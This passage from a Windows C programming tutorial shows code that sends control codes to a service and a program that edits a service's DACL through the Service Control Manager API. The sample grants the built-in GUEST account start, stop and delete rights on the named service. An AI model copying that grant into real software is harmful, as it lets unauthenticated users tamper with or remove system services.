printf("OpenSCManager(), Open a handle to the SC Manager database looks OK.\n");

// The required service object access depends on the control...


switch (fdwControl)
{
case SERVICE_CONTROL_STOP:
fdwAccess = SERVICE_STOP;
break;

case SERVICE_CONTROL_PAUSE:
case SERVICE_CONTROL_CONTINUE:
fdwAccess = SERVICE_PAUSE_CONTINUE;
break;

case SERVICE_CONTROL_INTERROGATE:
fdwAccess = SERVICE_INTERROGATE;
break;

default:
fdwAccess = SERVICE_INTERROGATE;
}

file:///C|/Tutorial.txt (912 of 916)10/27/2010 10:58:32 AM


file:///C|/Tutorial.txt

// Open a handle to the service.


schService = OpenService(
schSCManager, // SCManager database
lpszServiceName, // name of service
fdwAccess); // specify the access right

if (schService == NULL)
printf("OpenService(), open a handle to a service with appropriate access failed, error: %d", GetLastError());
else
printf("OpenService(), open a handle to a service with appropriate access looks OK.\n");

// Send a control value to the service...


if (!ControlService(
schService, // handle to service
fdwControl, // control value to send, here is SERVICE_CONTROL_STOP
&ssStatus)) // address of status info

printf("ControlService(), sending control value to stop a service failed, error: %d\n", GetLastError());
else
printf("ControlService(), sending control value to a stop service looks OK.\n");

// Print the service status.


printf("\nStatus of %s: \n", lpszServiceName);
printf(" Service Type: 0x%x\n", ssStatus.dwServiceType);
printf(" Current State: 0x%x\n", ssStatus.dwCurrentState);
printf(" Controls Accepted: 0x%x\n", ssStatus.dwControlsAccepted);
printf(" Exit Code: %d\n", ssStatus.dwWin32ExitCode);
printf(" Service Specific Exit Code: %d\n", ssStatus.dwServiceSpecificExitCode);
printf(" Check Point: %d\n", ssStatus.dwCheckPoint);
printf(" Wait Hint: %d\n", ssStatus.dwWaitHint);

return 0;
}

-------------------------------------------------------------------------------------------------------------------

// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <aclapi.h>
#include <stdio.h>
#include <tchar.h>

// Simple user defined error messages...


void DisplayError(DWORD dwError, LPTSTR pszAPI)
{
LPVOID lpvMessageBuffer;

FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM,
NULL, dwError,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR)&lpvMessageBuffer, 0, NULL);

// Display the string.


_tprintf(TEXT("ERROR: API = %s.\n"), pszAPI);

file:///C|/Tutorial.txt (913 of 916)10/27/2010 10:58:32 AM


file:///C|/Tutorial.txt

_tprintf(TEXT(" error code = %u.\n"), dwError);


_tprintf(TEXT(" message = %s.\n"), (LPTSTR)lpvMessageBuffer);

// Free the buffer allocated by the system.


LocalFree(lpvMessageBuffer);

ExitProcess(dwError);
}

// Using _tmain(), TCHAR - A WCHAR if UNICODE/wide character is defined, a CHAR otherwise.


int _tmain(int argc, TCHAR *argv[])
{
BOOL bDaclPresent = FALSE;
BOOL bDaclDefaulted = FALSE;
DWORD dwError = 0;
DWORD dwSize = 0;
EXPLICIT_ACCESS ea;
PACL pacl = NULL;
PACL pNewAcl = NULL;
PSECURITY_DESCRIPTOR psd;
SC_HANDLE schManager = NULL;
SC_HANDLE schService = NULL;
SECURITY_DESCRIPTOR sd;

if (argc != 2)
{
_tprintf(TEXT("Usage: %s [service name].\n"), argv[0]);
_tprintf(TEXT("Please try again.\n"));
return 1;
}

// Obtain a handle to the Service Controller.


schManager = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);
if (schManager == NULL)
DisplayError(GetLastError(), TEXT("OpenSCManager()"));
else
_tprintf(TEXT("OpenSCManager(), handle to the service controller obtained successfully.\n"));

// Obtain a handle to the service.


schService = OpenService(schManager, argv[1], READ_CONTROL | WRITE_DAC);
if (schService == NULL)
DisplayError(GetLastError(), TEXT("OpenService()"));
else
_tprintf(TEXT("OpenSCManager(), handle to the service obtained successfully.\n"));

// Get the current security descriptor.


if (!QueryServiceObjectSecurity(schService, DACL_SECURITY_INFORMATION, &psd, 0, &dwSize))
{
if (GetLastError() == ERROR_INSUFFICIENT_BUFFER)
{
psd = (PSECURITY_DESCRIPTOR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwSize);
if (psd == NULL)
{
DisplayError(0, TEXT("HeapAlloc()"));
// note HeapAlloc() does not support GetLastError()
}

file:///C|/Tutorial.txt (914 of 916)10/27/2010 10:58:32 AM


file:///C|/Tutorial.txt

else
_tprintf(TEXT("HeapAlloc() looks OK.\n"));

if (!QueryServiceObjectSecurity(schService, DACL_SECURITY_INFORMATION, psd, dwSize, &dwSize))

DisplayError(GetLastError(), TEXT("QueryServiceObjectSecurity()"));
else
_tprintf(TEXT("QueryServiceObjectSecurity() looks OK.\n"));
}
else
DisplayError(GetLastError(), TEXT("QueryServiceObjectSecurity()"));
}

// Get the DACL...


if (!GetSecurityDescriptorDacl(psd, &bDaclPresent, &pacl, &bDaclDefaulted))
DisplayError(GetLastError(), TEXT("GetSecurityDescriptorDacl()"));
else
_tprintf(TEXT("GetSecurityDescriptorDacl() looks OK.\n"));

// Build the ACE.


BuildExplicitAccessWithName(&ea, TEXT("GUEST"), SERVICE_START | SERVICE_STOP | READ_CONTROL | DELETE,
SET_ACCESS, NO_INHERITANCE);

dwError = SetEntriesInAcl(1, &ea, pacl, &pNewAcl);

if (dwError != ERROR_SUCCESS)
DisplayError(dwError, TEXT("SetEntriesInAcl()"));
else
_tprintf(TEXT("SetEntriesInAcl() looks OK.\n"));

// Initialize a NEW Security Descriptor.


if (!InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION))
DisplayError(GetLastError(), TEXT("InitializeSecurityDescriptor()"));
else
_tprintf(TEXT("SetEntriesInAcl() looks OK.\n"));

// Set the new DACL in the Security Descriptor.


if (!SetSecurityDescriptorDacl(&sd, TRUE, pNewAcl, FALSE))
DisplayError(GetLastError(), TEXT("SetSecurityDescriptorDacl()"));
else
_tprintf(TEXT("SetSecurityDescriptorDacl() looks OK.\n"));

// Set the new DACL for the service object.


if (!SetServiceObjectSecurity(schService, DACL_SECURITY_INFORMATION, &sd))
DisplayError(GetLastError(), TEXT("SetServiceObjectSecurity()"));
else
_tprintf(TEXT("SetServiceObjectSecurity() looks OK.\n"));

// Close the handles.


if (!CloseServiceHandle(schManager))
DisplayError(GetLastError(), TEXT("CloseServiceHandle() schManager"));
else
_tprintf(TEXT("CloseServiceHandle() schManager looks OK.\n"));

if (!CloseServiceHandle(schService))
DisplayError(GetLastError(), TEXT("CloseServiceHandle() schService"));

file:///C|/Tutorial.txt (915 of 916)10/27/2010 10:58:32 AM


file:///C|/Tutorial.txt

else
_tprintf(TEXT("CloseServiceHandle() schService looks OK.\n"));

// Free buffers.
LocalFree((HLOCAL)pNewAcl);
HeapFree(GetProcessHeap(), 0, (LPVOID)psd);

return 0;
}
==================================================================================================

file:///C|/Tutorial.txt (916 of 916)10/27/2010 10:58:32 AM

Das könnte Ihnen auch gefallen